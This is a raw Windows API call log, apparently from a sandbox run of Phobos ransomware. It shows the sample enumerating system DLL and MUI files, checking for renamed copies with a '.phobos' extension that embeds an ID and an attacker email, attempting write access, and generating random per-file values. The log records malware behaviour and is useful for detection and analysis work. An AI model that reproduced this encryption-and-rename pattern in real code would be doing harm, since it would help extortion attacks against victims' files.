[0134.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.179] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=7680) returned 1 [0134.180] CloseHandle (hObject=0x2f8) returned 1 [0134.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0134.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.180] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.180] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=6144) returned 1 [0134.180] CloseHandle (hObject=0x2f8) returned 1 [0134.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0134.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.184] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.184] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=695296) returned 1 [0134.184] CloseHandle (hObject=0x2f8) returned 1 [0134.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0134.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.185] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.185] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0134.185] CloseHandle (hObject=0x2f8) returned 1 [0134.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0134.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.185] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.185] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=242688) returned 1 [0134.185] CloseHandle (hObject=0x2f8) returned 1 [0134.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0134.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.186] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.186] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0134.186] CloseHandle (hObject=0x2f8) returned 1 [0134.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0134.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.186] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.186] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=279552) returned 1 [0134.186] CloseHandle (hObject=0x2f8) returned 1 [0134.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0134.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.187] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.187] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0134.187] CloseHandle (hObject=0x2f8) returned 1 [0134.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0134.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.187] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.187] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0134.187] CloseHandle (hObject=0x2f8) returned 1 [0134.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0134.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.188] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.188] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=356352) returned 1 [0134.188] CloseHandle (hObject=0x2f8) returned 1 [0134.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0134.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.188] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.188] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=221696) returned 1 [0134.188] CloseHandle (hObject=0x2f8) returned 1 [0134.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0134.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.189] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.189] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0134.189] CloseHandle (hObject=0x2f8) returned 1 [0134.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0134.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.189] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.189] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=31744) returned 1 [0134.189] CloseHandle (hObject=0x2f8) returned 1 [0134.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0134.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.190] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.190] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=6144) returned 1 [0134.190] CloseHandle (hObject=0x2f8) returned 1 [0134.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0134.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.190] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.190] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=48128) returned 1 [0134.190] CloseHandle (hObject=0x2f8) returned 1 [0134.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0134.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.191] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.191] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=44032) returned 1 [0134.191] CloseHandle (hObject=0x2f8) returned 1 [0134.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0134.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.191] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.191] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=18432) returned 1 [0134.191] CloseHandle (hObject=0x2f8) returned 1 [0134.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0134.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.192] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.192] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=99840) returned 1 [0134.192] CloseHandle (hObject=0x2f8) returned 1 [0134.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0134.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.192] 